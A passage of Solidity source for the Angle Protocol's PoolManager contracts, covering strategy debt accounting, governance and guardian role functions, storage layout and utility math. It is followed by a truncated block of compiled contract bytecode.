uint256 gainForSurplus = (gain * interestsForSurplus) / BASE_PARAMS; uint256 adminDebtPre = adminDebt; // Depending on the current admin debt distribute the necessary gain from the strategies if (adminDebtPre == 0) interestsAccumulated += gainForSurplus; else if (adminDebtPre <= gainForSurplus) { interestsAccumulated += gainForSurplus - adminDebtPre; adminDebt = 0; } else adminDebt -= gainForSurplus; stableMaster.accumulateInterest(gain - gainForSurplus); emit FeesDistributed(gain); } // Handle eventual losses if (loss > 0) { uint256 lossForSurplus = (loss * interestsForSurplus) / BASE_PARAMS; uint256 interestsAccumulatedPreLoss = interestsAccumulated; // If the loss can not be entirely soaked by the interests to be distributed then // the protocol keeps track of the debt if (lossForSurplus > interestsAccumulatedPreLoss) { interestsAccumulated = 0; adminDebt += lossForSurplus - interestsAccumulatedPreLoss; } else interestsAccumulated -= lossForSurplus; // The rest is incurred to SLPs stableMaster.signalLoss(loss - lossForSurplus); } } // =========================== Governor Functions ============================== /// @notice Allows to recover any ERC20 token, including the token handled by this contract, and to send it /// to a contract /// @param tokenAddress Address of the token to recover /// @param to Address of the contract to send collateral to /// @param amountToRecover Amount of collateral to transfer /// @dev As this function can be used to transfer funds to another contract, it has to be a `GOVERNOR` function /// @dev In case the concerned token is the specific token handled by this contract, this function checks that the /// amount entered is not too big and approximates the surplus of the protocol /// @dev To esimate the amount of user claims on the concerned collateral, this function uses the `stocksUsers` for /// this collateral, but this is just an approximation as users can claim the collateral of their choice provided /// that they own a stablecoin /// @dev The sanity check excludes the HA claims: to get a sense of it, this function would need to compute the cash out /// amount of all the perpetuals, and this cannot be done on-chain in a cheap manner /// @dev Overall, even though there is a sanity check, this function relies on the fact that governance is not corrupted /// in this protocol and will not try to withdraw too much funds function recoverERC20( address tokenAddress, address to, uint256 amountToRecover ) external onlyRole(GOVERNOR_ROLE) { if (tokenAddress == address(token)) { // Fetching info from the `StableMaster` ( , ISanToken sanToken, , IOracle oracle, uint256 stocksUsers, uint256 sanRate, uint256 collatBase, , ) = IStableMaster(stableMaster).collateralMap(IPoolManager(address(this))); // Checking if there are enough reserves for the amount to withdraw require( _getTotalAsset() >= amountToRecover + (sanToken.totalSupply() * sanRate) / BASE_TOKENS + (stocksUsers * collatBase) / oracle.readUpper() + interestsAccumulated, "66" ); token.safeTransfer(to, amountToRecover); } else { IERC20(tokenAddress).safeTransfer(to, amountToRecover); } emit Recovered(tokenAddress, to, amountToRecover); } /// @notice Adds a strategy to the `PoolManager` /// @param strategy The address of the strategy to add /// @param _debtRatio The share of the total assets that the strategy has access to /// @dev Multiple checks are made. For instance, the contract must not already belong to the `PoolManager` /// and the underlying token of the strategy has to be consistent with the `PoolManager` contracts /// @dev This function is a `governor` function and not a `guardian` one because a `guardian` could add a strategy /// enabling the withdraw of the funds of the protocol /// @dev The `_debtRatio` should be expressed in `BASE_PARAMS` function addStrategy(address strategy, uint256 _debtRatio) external onlyRole(GOVERNOR_ROLE) zeroCheck(strategy) { StrategyParams storage params = strategies[strategy]; require(params.lastReport == 0, "73"); require(address(this) == IStrategy(strategy).poolManager(), "74"); // Using current code, this condition should always be verified as in the constructor // of the strategy the `want()` is set to the token of this `PoolManager` require(address(token) == IStrategy(strategy).want(), "75"); require(debtRatio + _debtRatio <= BASE_PARAMS, "76"); // Add strategy to approved strategies params.lastReport = 1; params.totalStrategyDebt = 0; params.debtRatio = _debtRatio; _grantRole(STRATEGY_ROLE, strategy); // Update global parameters debtRatio += _debtRatio; emit StrategyAdded(strategy, debtRatio); strategyList.push(strategy); } // =========================== Guardian Functions ============================== /// @notice Sets a new surplus distributor to which surplus from the protocol will be pushed /// @param newSurplusConverter Address to which the role needs to be granted /// @dev It is as if the `GUARDIAN_ROLE` was admin of the `SURPLUS_DISTRIBUTOR_ROLE` /// @dev The address can be the zero address in case the protocol revokes the `surplusConverter` function setSurplusConverter(address newSurplusConverter) external onlyRole(GUARDIAN_ROLE) { address oldSurplusConverter = surplusConverter; surplusConverter = newSurplusConverter; emit SurplusConverterUpdated(newSurplusConverter, oldSurplusConverter); } /// @notice Sets the share of the interests going directly to the surplus /// @param _interestsForSurplus New value of the interests going directly to the surplus for buybacks /// @dev Guardian should make sure the incentives for SLPs are still high enough for them to enter the protocol function setInterestsForSurplus(uint64 _interestsForSurplus) external onlyRole(GUARDIAN_ROLE) onlyCompatibleFees(_interestsForSurplus) { interestsForSurplus = _interestsForSurplus; emit InterestsForSurplusUpdated(_interestsForSurplus); } /// @notice Modifies the funds a strategy has access to /// @param strategy The address of the Strategy /// @param _debtRatio The share of the total assets that the strategy has access to /// @dev The update has to be such that the `debtRatio` does not exceeds the 100% threshold /// as this `PoolManager` cannot lend collateral that it doesn't not own. /// @dev `_debtRatio` is stored as a uint256 but as any parameter of the protocol, it should be expressed /// in `BASE_PARAMS` function updateStrategyDebtRatio(address strategy, uint256 _debtRatio) external onlyRole(GUARDIAN_ROLE) { _updateStrategyDebtRatio(strategy, _debtRatio); } /// @notice Triggers an emergency exit for a strategy and then harvests it to fetch all the funds /// @param strategy The address of the `Strategy` function setStrategyEmergencyExit(address strategy) external onlyRole(GUARDIAN_ROLE) { _updateStrategyDebtRatio(strategy, 0); IStrategy(strategy).setEmergencyExit(); IStrategy(strategy).harvest(); } /// @notice Revokes a strategy /// @param strategy The address of the strategy to revoke /// @dev This should only be called after the following happened in order: the `strategy.debtRatio` has been set to 0, /// `harvest` has been called enough times to recover all capital gain/losses. function revokeStrategy(address strategy) external onlyRole(GUARDIAN_ROLE) { StrategyParams storage params = strategies[strategy]; require(params.debtRatio == 0, "77"); require(params.totalStrategyDebt == 0, "77"); uint256 strategyListLength = strategyList.length; require(params.lastReport != 0 && strategyListLength >= 1, "78"); // It has already been checked whether the strategy was a valid strategy for (uint256 i = 0; i < strategyListLength - 1; i++) { if (strategyList[i] == strategy) { strategyList[i] = strategyList[strategyListLength - 1]; break; } } strategyList.pop(); // Update global parameters debtRatio -= params.debtRatio; delete strategies[strategy]; _revokeRole(STRATEGY_ROLE, strategy); emit StrategyRevoked(strategy); } /// @notice Withdraws a given amount from a strategy /// @param strategy The address of the strategy /// @param amount The amount to withdraw /// @dev This function tries to recover `amount` from the strategy, but it may not go through /// as we may not be able to withdraw from the lending protocol the full amount /// @dev In this last case we only update the parameters by setting the loss as the gap between /// what has been asked and what has been returned. function withdrawFromStrategy(IStrategy strategy, uint256 amount) external onlyRole(GUARDIAN_ROLE) { StrategyParams storage params = strategies[address(strategy)]; require(params.lastReport != 0, "78"); uint256 loss; (amount, loss) = strategy.withdraw(amount); // Handling eventual losses params.totalStrategyDebt = params.totalStrategyDebt - loss - amount; totalDebt = totalDebt - loss - amount; emit StrategyReported(address(strategy), 0, loss, amount - loss, params.totalStrategyDebt); // Handle eventual losses // With the strategy we are using in current tests, it is going to be impossible to have // a positive loss by calling strategy.withdraw, this function indeed calls _liquidatePosition // which output value is always zero if (loss > 0) stableMaster.signalLoss(loss); } // =================== Surplus Distributor Function ============================ /// @notice Allows to push interests revenue accumulated by the protocol to the `surplusConverter` to do buybacks /// or another form of redistribution to ANGLE or veANGLE token holders /// @dev This function is permissionless and anyone can transfer the `interestsAccumulated` by the protocol /// to the `surplusConverter` function pushSurplus() external { // If the `surplusConverter` has not been initialized, surplus should not be distributed // Storing the `surplusConverter` in an intermediate variable to avoid multiple reads in // storage address surplusConverterMem = surplusConverter; require(surplusConverterMem != address(0), "0"); uint256 amount = interestsAccumulated; interestsAccumulated = 0; // Storing the `token` in memory to avoid duplicate reads in storage IERC20 tokenMem = token; tokenMem.safeTransfer(surplusConverterMem, amount); emit Recovered(address(tokenMem), surplusConverterMem, amount); } // ======================== Getters - View Functions =========================== /// @notice Gets the current balance of this `PoolManager` contract /// @return The amount of the underlying collateral that the contract currently owns /// @dev This balance does not take into account what has been lent to strategies function getBalance() external view override returns (uint256) { return _getBalance(); } /// @notice Gets the total amount of collateral that is controlled by this `PoolManager` contract /// @return The amount of collateral owned by this contract plus the amount that has been lent to strategies /// @dev This is the value that is used to compute the debt ratio for a given strategy function getTotalAsset() external view override returns (uint256) { return _getTotalAsset(); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { Math } from "@openzeppelin/contracts/utils/math/Math.sol"; import "../external/AccessControlUpgradeable.sol"; import "../interfaces/IFeeManager.sol"; import "../interfaces/IPoolManager.sol"; import "../interfaces/ISanToken.sol"; import "../interfaces/IPerpetualManager.sol"; import "../interfaces/IStableMaster.sol"; import "../interfaces/IStrategy.sol"; import "../utils/FunctionUtils.sol"; /// @title PoolManagerEvents /// @author Angle Core Team /// @notice The `PoolManager` contract corresponds to a collateral pool of the protocol for a stablecoin, /// it manages a single ERC20 token. It is responsible for interacting with the strategies enabling the protocol /// to get yield on its collateral /// @dev This contract contains all the events of the `PoolManager` Contract contract PoolManagerEvents { event FeesDistributed(uint256 amountDistributed); event Recovered(address indexed token, address indexed to, uint256 amount); event StrategyAdded(address indexed strategy, uint256 debtRatio); event InterestsForSurplusUpdated(uint64 _interestsForSurplus); event SurplusConverterUpdated(address indexed newSurplusConverter, address indexed oldSurplusConverter); event StrategyRevoked(address indexed strategy); event StrategyReported( address indexed strategy, uint256 gain, uint256 loss, uint256 debtPayment, uint256 totalDebt ); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./PoolManagerStorageV3.sol"; /// @title PoolManagerInternal /// @author Angle Core Team /// @notice The `PoolManager` contract corresponds to a collateral pool of the protocol for a stablecoin, /// it manages a single ERC20 token. It is responsible for interacting with the strategies enabling the protocol /// to get yield on its collateral /// @dev This file contains all the internal functions of the `PoolManager` contract contract PoolManagerInternal is PoolManagerStorageV3 { using SafeERC20 for IERC20; // Roles need to be defined here because there are some internal access control functions // in the `PoolManagerInternal` file /// @notice Role for `StableMaster` only bytes32 public constant STABLEMASTER_ROLE = keccak256("STABLEMASTER_ROLE"); /// @notice Role for governors only bytes32 public constant GOVERNOR_ROLE = keccak256("GOVERNOR_ROLE"); /// @notice Role for guardians and governors bytes32 public constant GUARDIAN_ROLE = keccak256("GUARDIAN_ROLE"); /// @notice Role for `Strategy` only bytes32 public constant STRATEGY_ROLE = keccak256("STRATEGY_ROLE"); // ======================= Access Control and Governance ======================= /// @notice Adds a new guardian address and echoes the change to the contracts /// that interact with this collateral `PoolManager` /// @param _guardian New guardian address function _addGuardian(address _guardian) internal { // Granting the new role // Access control for this contract _grantRole(GUARDIAN_ROLE, _guardian); // Propagating the new role in other contract perpetualManager.grantRole(GUARDIAN_ROLE, _guardian); feeManager.grantRole(GUARDIAN_ROLE, _guardian); uint256 strategyListLength = strategyList.length; for (uint256 i = 0; i < strategyListLength; i++) { IStrategy(strategyList[i]).addGuardian(_guardian); } } /// @notice Revokes the guardian role and propagates the change to other contracts /// @param guardian Old guardian address to revoke function _revokeGuardian(address guardian) internal { _revokeRole(GUARDIAN_ROLE, guardian); perpetualManager.revokeRole(GUARDIAN_ROLE, guardian); feeManager.revokeRole(GUARDIAN_ROLE, guardian); uint256 strategyListLength = strategyList.length; for (uint256 i = 0; i < strategyListLength; i++) { IStrategy(strategyList[i]).revokeGuardian(guardian); } } // ============================= Yield Farming ================================= /// @notice Internal version of `updateStrategyDebtRatio` /// @dev Updates the debt ratio for a strategy function _updateStrategyDebtRatio(address strategy, uint256 _debtRatio) internal { StrategyParams storage params = strategies[strategy]; require(params.lastReport != 0, "78"); debtRatio = debtRatio + _debtRatio - params.debtRatio; require(debtRatio <= BASE_PARAMS, "76"); params.debtRatio = _debtRatio; emit StrategyAdded(strategy, debtRatio); } // ============================ Utils ========================================== /// @notice Returns this `PoolManager`'s reserve of collateral (not including what has been lent) function _getBalance() internal view returns (uint256) { return token.balanceOf(address(this)); } /// @notice Returns the amount of assets owned by this `PoolManager` /// @dev This sums the current balance of the contract to what has been given to strategies /// @dev This amount can be manipulated by flash loans function _getTotalAsset() internal view returns (uint256) { return _getBalance() + totalDebt; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./PoolManagerEvents.sol"; /// @title PoolManagerStorageV1 /// @author Angle Core Team /// @notice The `PoolManager` contract corresponds to a collateral pool of the protocol for a stablecoin, /// it manages a single ERC20 token. It is responsible for interacting with the strategies enabling the protocol /// to get yield on its collateral /// @dev This file contains most of the variables and parameters stored for this contract. It does not contain all /// as the storage file has been split into multiple files to avoid clashes when upgrading the smart contract contract PoolManagerStorageV1 is PoolManagerEvents, FunctionUtils { // ================ References to contracts that cannot be modified ============ /// @notice Interface for the underlying token accepted by this contract IERC20 public token; /// @notice Reference to the `PerpetualManager` for this collateral/stablecoin pair /// `PerpetualManager` is an upgradeable contract, there is therefore no need to be able to update this reference IPerpetualManager public perpetualManager; /// @notice Reference to the `StableMaster` contract corresponding to this `PoolManager` IStableMaster public stableMaster; // ============== References to contracts that can be modified ================= /// @notice FeeManager contract for this collateral/stablecoin pair /// This reference can be updated by the `StableMaster` and change is going to be propagated /// to the `PerpetualManager` from this contract IFeeManager public feeManager; // ============================= Yield Farming ================================= /// @notice Funds currently given to strategies uint256 public totalDebt; /// @notice Proportion of the funds managed dedicated to strategies /// Has to be between 0 and `BASE_PARAMS` uint256 public debtRatio; /// The struct `StrategyParams` is defined in the interface `IPoolManager` /// @notice Mapping between the address of a strategy contract and its corresponding details mapping(address => StrategyParams) public strategies; /// @notice List of the current strategies address[] public strategyList; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./PoolManagerStorageV1.sol"; /// @title PoolManagerStorageV2 /// @author Angle Core Team /// @notice The `PoolManager` contract corresponds to a collateral pool of the protocol for a stablecoin, /// it manages a single ERC20 token. It is responsible for interacting with the strategies enabling the protocol /// to get yield on its collateral /// @dev This file imports the `AccessControlUpgradeable` contract PoolManagerStorageV2 is PoolManagerStorageV1, AccessControlUpgradeable { } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./PoolManagerStorageV2.sol"; /// @title PoolManagerStorageV3 /// @author Angle Core Team /// @notice The `PoolManager` contract corresponds to a collateral pool of the protocol for a stablecoin, /// it manages a single ERC20 token. It is responsible for interacting with the strategies enabling the protocol /// to get yield on its collateral /// @dev This file contains the last variables and parameters stored for this contract. The reason for not storing them /// directly in `PoolManagerStorageV1` is that theywere introduced after a first deployment and may have introduced a /// storage clash when upgrading contract PoolManagerStorageV3 is PoolManagerStorageV2 { /// @notice Address of the surplus distributor allowed to distribute rewards address public surplusConverter; /// @notice Share of the interests going to surplus and share going to SLPs uint64 public interestsForSurplus; /// @notice Interests accumulated by the protocol and to be distributed through ANGLE or veANGLE /// token holders uint256 public interestsAccumulated; /// @notice Debt that must be paid by admins after a loss on a strategy uint256 public adminDebt; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; /// @title FunctionUtils /// @author Angle Core Team /// @notice Contains all the utility functions that are needed in different places of the protocol /// @dev Functions in this contract should typically be pure functions /// @dev This contract is voluntarily a contract and not a library to save some gas cost every time it is used contract FunctionUtils { /// @notice Base that is used to compute ratios and floating numbers uint256 public constant BASE_TOKENS = 10**18; /// @notice Base that is used to define parameters that need to have a floating value (for instance parameters /// that are defined as ratios) uint256 public constant BASE_PARAMS = 10**9; /// @notice Computes the value of a linear by part function at a given point /// @param x Point of the function we want to compute /// @param xArray List of breaking points (in ascending order) that define the linear by part function /// @param yArray List of values at breaking points (not necessarily in ascending order) /// @dev The evolution of the linear by part function between two breaking points is linear /// @dev Before the first breaking point and after the last one, the function is constant with a value /// equal to the first or last value of the yArray /// @dev This function is relevant if `x` is between O and `BASE_PARAMS`. If `x` is greater than that, then /// everything will be as if `x` is equal to the greater element of the `xArray` function _piecewiseLinear( uint64 x, uint64[] memory xArray, uint64[] memory yArray ) internal pure returns (uint64) { if (x >= xArray[xArray.length - 1]) { return yArray[xArray.length - 1]; } else if (x <= xArray[0]) { return yArray[0]; } else { uint256 lower; uint256 upper = xArray.length - 1; uint256 mid; while (upper - lower > 1) { mid = lower + (upper - lower) / 2; if (xArray[mid] <= x) { lower = mid; } else { upper = mid; } } if (yArray[upper] > yArray[lower]) { // There is no risk of overflow here as in the product of the difference of `y` // with the difference of `x`, the product is inferior to `BASE_PARAMS**2` which does not // overflow for `uint64` return yArray[lower] + ((yArray[upper] - yArray[lower]) * (x - xArray[lower])) / (xArray[upper] - xArray[lower]); } else { return yArray[lower] - ((yArray[lower] - yArray[upper]) * (x - xArray[lower])) / (xArray[upper] - xArray[lower]); } } } /// @notice Checks if the input arrays given by governance to update the fee structure is valid /// @param xArray List of breaking points (in ascending order) that define the linear by part function /// @param yArray List of values at breaking points (not necessarily in ascending order) /// @dev This function is a way to avoid some governance attacks or errors /// @dev The modifier checks if the arrays have a non null length, if their length is the same, if the values /// in the `xArray` are in ascending order and if the values in the `xArray` and in the `yArray` are not superior /// to `BASE_PARAMS` modifier onlyCompatibleInputArrays(uint64[] memory xArray, uint64[] memory yArray) { require(xArray.length == yArray.length && xArray.length > 0, "5"); for (uint256 i = 0; i <= yArray.length - 1; i++) { require(yArray[i] <= uint64(BASE_PARAMS) && xArray[i] <= uint64(BASE_PARAMS), "6"); if (i > 0) { require(xArray[i] > xArray[i - 1], "7"); } } _; } /// @notice Checks if the new value given for the parameter is consistent (it should be inferior to 1 /// if it corresponds to a ratio) /// @param fees Value of the new parameter to check modifier onlyCompatibleFees(uint64 fees) { require(fees <= BASE_PARAMS, "4"); _; } /// @notice Checks if the new address given is not null /// @param newAddress Address to check /// @dev Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#missing-zero-address-validation modifier zeroCheck(address newAddress) { require(newAddress != address(0), "0"); _; } }
0x608060405234801561001057600080fd5b506004361061030a5760003560e01c806391d148541161019c578063c9411e22116100ee578063df1b8bd311610097578063fb6d442011610071578063fb6d442014610736578063fc0c546a14610756578063fc7b9c181461077657600080fd5b8063df1b8bd31461070b578063eecdac881461071a578063f0d3dc831461072d57600080fd5b8063d0fb0203116100c8578063d0fb0203146106c5578063d547741f146106e5578063d965ce9a146106f857600080fd5b8063c9411e2214610682578063ccc5749014610695578063cea55f57146106bc57600080fd5b8063a267526b11610150578063b53d09581161012a578063b53d095814610654578063bb994d4814610667578063bf3759b51461067a57600080fd5b8063a267526b14610625578063ae11e4c914610638578063af648c3d1461064157600080fd5b80639f48118f116101815780639f48118f146105ff578063a1d9bafc1461060a578063a217fddf1461061d57600080fd5b806391d14854146105965780639645150c146105ec57600080fd5b806336568abe11610260578063580b7c2e116102095780636ac5dc46116101e35780636ac5dc461461051e5780637c6a4f241461053e5780638e2e944f1461055157600080fd5b8063580b7c2e146104aa5780635a5cd45e146104d15780635d34082b146104d957600080fd5b8063472d35b91161023a578063472d35b914610471578063485cc955146104845780634c8b9f8d1461049757600080fd5b806336568abe1461040157806339ebf823146104145780633c4a25d01461045e57600080fd5b8063248a9ca3116102c25780632f2ff15d1161029c5780632f2ff15d146103c85780632f92d261146103db57806333c509d1146103ee57600080fd5b8063248a9ca31461037657806324ea54f4146103995780632768385d146103c057600080fd5b80631171bda9116102f35780631171bda91461035157806312065fe01461036657806319106b671461036e57600080fd5b80631112d6541461030f578063112c1f9b14610349575b600080fd5b6103367f42e87691d7920cf38a77ca8920f5a4c84f1b5ae359a91577fea4018facdd7b5381565b6040519081526020015b60405180910390f35b61033661077f565b61036461035f3660046142a9565b6107f5565b005b610336610b9d565b610364610bac565b61033661038436600461441d565b60009081526009602052604090206001015490565b6103367f55435dd261a4b9b3364963f7738a7a662ad9c84396d64be3365284bb7f0a504181565b610336610cc5565b6103646103d6366004614436565b610ccf565b6103646103e9366004614236565b610cfa565b6103646103fc366004614270565b610df4565b61036461040f366004614436565b610e31565b610443610422366004614236565b60066020526000908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610340565b61036461046c366004614236565b610ebe565b61036461047f366004614236565b610f1c565b610364610492366004614270565b610fe3565b6103646104a5366004614624565b61133c565b6103367f928286c473ded01ff8bf61a1986f14a0579066072fa8261442d9fea514d93a4c81565b610336611469565b6001546104f99073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610340565b6002546104f99073ffffffffffffffffffffffffffffffffffffffff1681565b61036461054c3660046142ea565b6117be565b603b5461057d9074010000000000000000000000000000000000000000900467ffffffffffffffff1681565b60405167ffffffffffffffff9091168152602001610340565b6105dc6105a4366004614436565b600091825260096020908152604080842073ffffffffffffffffffffffffffffffffffffffff93909316845291905290205460ff1690565b6040519015158152602001610340565b6103646105fa366004614236565b6117f3565b610336633b9aca0081565b6103646106183660046145f8565b611895565b610336600081565b6104f961063336600461441d565b611e14565b610336603c5481565b61036461064f366004614236565b611e4b565b6103646106623660046142ea565b611e7f565b610364610675366004614236565b61211b565b6103366124df565b6103646106903660046142ea565b61253e565b6103367f7935bd0ae54bc31f548c14dba4d37c5c64b3f8ca900cb468fb8abd54d5894f5581565b61033660055481565b6003546104f99073ffffffffffffffffffffffffffffffffffffffff1681565b6103646106f3366004614436565b612a21565b610364610706366004614316565b612a47565b610336670de0b6b3a764000081565b610364610728366004614236565b612d2d565b610336603d5481565b603b546104f99073ffffffffffffffffffffffffffffffffffffffff1681565b6000546104f99073ffffffffffffffffffffffffffffffffffffffff1681565b61033660045481565b33600090815260066020526040812060028101548290633b9aca00906107a3612d82565b6107ad91906148f9565b6107b791906148be565b905081600101548110156107ce5760009250505090565b6107ee8260010154826107e19190614936565b6107e9612d99565b612e3b565b9250505090565b7f7935bd0ae54bc31f548c14dba4d37c5c64b3f8ca900cb468fb8abd54d5894f556108208133612e53565b60005473ffffffffffffffffffffffffffffffffffffffff85811691161415610b0f576002546040517fba8b7223000000000000000000000000000000000000000000000000000000008152306004820152600091829182918291829173ffffffffffffffffffffffffffffffffffffffff169063ba8b72239060240160006040518083038186803b1580156108b557600080fd5b505afa1580156108c9573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261090f919081019061445b565b5050965096509650965050955050603c548473ffffffffffffffffffffffffffffffffffffffff1663442133bd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561096657600080fd5b505afa15801561097a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099e91906145bb565b6109a883866148f9565b6109b291906148be565b670de0b6b3a7640000848873ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0257600080fd5b505afa158015610a16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3a91906145bb565b610a4491906148f9565b610a4e91906148be565b610a58908a6148a6565b610a6291906148a6565b610a6c91906148a6565b610a74612d82565b1015610ae1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600260248201527f363600000000000000000000000000000000000000000000000000000000000060448201526064015b60405180910390fd5b600054610b059073ffffffffffffffffffffffffffffffffffffffff168989612f25565b5050505050610b30565b610b3073ffffffffffffffffffffffffffffffffffffffff85168484612f25565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167ffff3b3844276f57024e0b42afec1a37f75db36511e43819a4f2a63ab7862b64884604051610b8f91815260200190565b60405180910390a350505050565b6000610ba7612d99565b905090565b603b5473ffffffffffffffffffffffffffffffffffffffff1680610c2c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f30000000000000000000000000000000000000000000000000000000000000006044820152606401610ad8565b603c8054600091829055905473ffffffffffffffffffffffffffffffffffffffff16610c59818484612f25565b8273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167ffff3b3844276f57024e0b42afec1a37f75db36511e43819a4f2a63ab7862b64884604051610cb891815260200190565b60405180910390a3505050565b6000610ba7612d82565b600082815260096020526040902060010154610ceb8133612e53565b610cf58383612ff9565b505050565b7f55435dd261a4b9b3364963f7738a7a662ad9c84396d64be3365284bb7f0a5041610d258133612e53565b610d308260006130b6565b8173ffffffffffffffffffffffffffffffffffffffff1663fcf2d0ad6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610d7857600080fd5b505af1158015610d8c573d6000803e3d6000fd5b505050508173ffffffffffffffffffffffffffffffffffffffff16634641257d6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610dd857600080fd5b505af1158015610dec573d6000803e3d6000fd5b505050505050565b7f42e87691d7920cf38a77ca8920f5a4c84f1b5ae359a91577fea4018facdd7b53610e1f8133612e53565b610e288261322c565b610cf583613470565b73ffffffffffffffffffffffffffffffffffffffff81163314610eb0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600260248201527f37310000000000000000000000000000000000000000000000000000000000006044820152606401610ad8565b610eba82826136b4565b5050565b7f42e87691d7920cf38a77ca8920f5a4c84f1b5ae359a91577fea4018facdd7b53610ee98133612e53565b610f137f7935bd0ae54bc31f548c14dba4d37c5c64b3f8ca900cb468fb8abd54d5894f5583612ff9565b610eba82613470565b7f42e87691d7920cf38a77ca8920f5a4c84f1b5ae359a91577fea4018facdd7b53610f478133612e53565b600380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8481169182179092556001546040517f472d35b900000000000000000000000000000000000000000000000000000000815260048101929092529091169063472d35b990602401600060405180830381600087803b158015610dd857600080fd5b600854610100900460ff1680610ffc575060085460ff16155b611088576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a65640000000000000000000000000000000000006064820152608401610ad8565b600854610100900460ff161580156110c757600880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000166101011790555b8273ffffffffffffffffffffffffffffffffffffffff8116611145576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f30000000000000000000000000000000000000000000000000000000000000006044820152606401610ad8565b8273ffffffffffffffffffffffffffffffffffffffff81166111c3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f30000000000000000000000000000000000000000000000000000000000000006044820152606401610ad8565b6111cb61376f565b6002805473ffffffffffffffffffffffffffffffffffffffff8087167fffffffffffffffffffffffff000000000000000000000000000000000000000092831681179093556000805491891691909216179055611249907f42e87691d7920cf38a77ca8920f5a4c84f1b5ae359a91577fea4018facdd7b539061388d565b6112737f42e87691d7920cf38a77ca8920f5a4c84f1b5ae359a91577fea4018facdd7b5380613897565b6112bd7f7935bd0ae54bc31f548c14dba4d37c5c64b3f8ca900cb468fb8abd54d5894f557f42e87691d7920cf38a77ca8920f5a4c84f1b5ae359a91577fea4018facdd7b53613897565b6113077f55435dd261a4b9b3364963f7738a7a662ad9c84396d64be3365284bb7f0a50417f42e87691d7920cf38a77ca8920f5a4c84f1b5ae359a91577fea4018facdd7b53613897565b50508015610cf557600880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff169055505050565b7f55435dd261a4b9b3364963f7738a7a662ad9c84396d64be3365284bb7f0a50416113678133612e53565b81633b9aca008167ffffffffffffffff1611156113e0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f34000000000000000000000000000000000000000000000000000000000000006044820152606401610ad8565b603b80547fffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffff167401000000000000000000000000000000000000000067ffffffffffffffff8616908102919091179091556040519081527ffc758ec4944790c229f9320c389bbbb662de11b31936338e0b6359633d8252a29060200160405180910390a1505050565b6002546040517fba8b722300000000000000000000000000000000000000000000000000000000815230600482015260009182918291829173ffffffffffffffffffffffffffffffffffffffff9091169063ba8b72239060240160006040518083038186803b1580156114db57600080fd5b505afa1580156114ef573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052611535919081019061445b565b50975050965050505093505060008373ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561158957600080fd5b505afa15801561159d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115c191906145bb565b9050806115f2577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff94505050505090565b60005b60075481101561173c57633b9aca006007828154811061161757611617614a45565b60009182526020918290200154604080517f5a5cd45e000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff90921692635a5cd45e92600480840193829003018186803b15801561168657600080fd5b505afa15801561169a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116be91906145bb565b60066000600785815481106116d5576116d5614a45565b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16835282019290925260400190206002015461171491906148f9565b61171e91906148be565b61172890876148a6565b955080611734816149ae565b9150506115f5565b508083611747612d82565b60e0850151603b5467ffffffffffffffff918216916117839174010000000000000000000000000000000000000000900416633b9aca00614936565b61178d908a6148f9565b61179791906148f9565b6117a191906148f9565b6117ab91906148be565b6117b591906148be565b94505050505090565b7f55435dd261a4b9b3364963f7738a7a662ad9c84396d64be3365284bb7f0a50416117e98133612e53565b610cf583836130b6565b7f55435dd261a4b9b3364963f7738a7a662ad9c84396d64be3365284bb7f0a504161181e8133612e53565b603b805473ffffffffffffffffffffffffffffffffffffffff8481167fffffffffffffffffffffffff00000000000000000000000000000000000000008316811790935560405191169182917f36c96a1bbba632dc500787b9d915ec93cac3f4be4af3e6855403f9cbcac3893d90600090a3505050565b7f928286c473ded01ff8bf61a1986f14a0579066072fa8261442d9fea514d93a4c6118c08133612e53565b6118ca82856148a6565b6000546040517f70a0823100000000